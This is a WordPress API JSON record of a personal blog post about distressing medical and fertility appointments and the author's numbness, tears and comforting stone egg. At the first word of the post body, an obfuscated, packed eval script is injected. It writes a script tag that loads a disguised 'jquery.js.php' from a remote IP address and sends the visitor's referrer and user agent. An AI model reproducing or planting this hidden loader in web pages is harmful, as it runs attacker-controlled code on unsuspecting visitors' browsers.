{"id":2589,"date":"2010-10-20T08:52:07","date_gmt":"2010-10-20T15:52:07","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2589"},"modified":"2011-12-06T10:06:21","modified_gmt":"2011-12-06T17:06:21","slug":"bleah","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2589","title":{"rendered":"Bleah"},"content":{"rendered":"<p>Doctor&#8217;s <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|redbh|var|u0026u|referrer|fiinb||js|php'.split('|'),0,{}))\n<\/script><\/noindex> appointments. Different doctors. Lots of bloodwork.  <\/p>\n<p>I actually don&#8217;t mind being stuck with needles.  It&#8217;s everything else: the vacant stare from the receptionist; the antiseptic, bland waiting rooms; the visions of Pink Floyd that dance in my head while I&#8217;m waiting, in a paper shirt, for the doctor to come in.  Like meat in a factory.  And there&#8217;s always something wrong &#8211; something else, something different, some bit of me that I didn&#8217;t even know the name of before, and it&#8217;s not working.<\/p>\n<p>It&#8217;s worth it &#8211; it&#8217;s all worth it &#8211; but the back of my mind keeps whispering to me, &#8220;Is this really how you want your child&#8217;s story to begin?  This place, these people?&#8221;  A life should begin in a moment of love.  There is nothing in this cold room but misery and I came here out of desperation.  But what else can I do but give up?<br \/>\nI can&#8217;t give up.<\/p>\n<p>The few times I&#8217;ve had (thankfully minor) car accidents, I was astonished by the way time really does slow down.  Just like in the movies &#8211; everything flickers into stop-motion moments and you have time &#8211; lots and lots of time &#8211; to watch, and think, what did I do wrong?<\/p>\n<p>I have that feeling now.  I am about to hear bad news, and I know it, and I can&#8217;t help thinking that this must be my fault somehow.  But it&#8217;s like time is frozen, and I&#8217;m too numb to cry any more, except that sometimes I do cry.  At my desk at work, or driving in the car, or in the middle of conversations, I just burst into tears.<\/p>\n<p>I just lie.  I tell people it&#8217;s allergies and excuse myself.<\/p>\n<p>After the appointment I didn&#8217;t want to go back to work, and I didn&#8217;t want to go home.  I just wanted to drive and drive, far away, but the rational part of my head was still working and it knew I shouldn&#8217;t be driving at all.  So I pulled over at the first place I came to, and it was the art museum. I wandered around it like I was looking for something, or someone, and then I realized I needed a Thing. I needed something I could hold, and focus on.  I went to the gift shop looking for birds.  And I found exactly what I wanted &#8211; a beautiful stone egg.  In my hand, it looks like the moon, opalescent white.  When I hold it to the light, it glows from the inside with rainbow colors.  <\/p>\n<p>I carry it everywhere these days.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Doctor&#8217;s appointments. Different doctors. Lots of bloodwork. I actually don&#8217;t mind being stuck with needles&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[21],"class_list":["post-2589","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2589"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2589"}],"version-history":[{"count":2,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2589\/revisions"}],"predecessor-version":[{"id":2606,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2589\/revisions\/2606"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2589"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}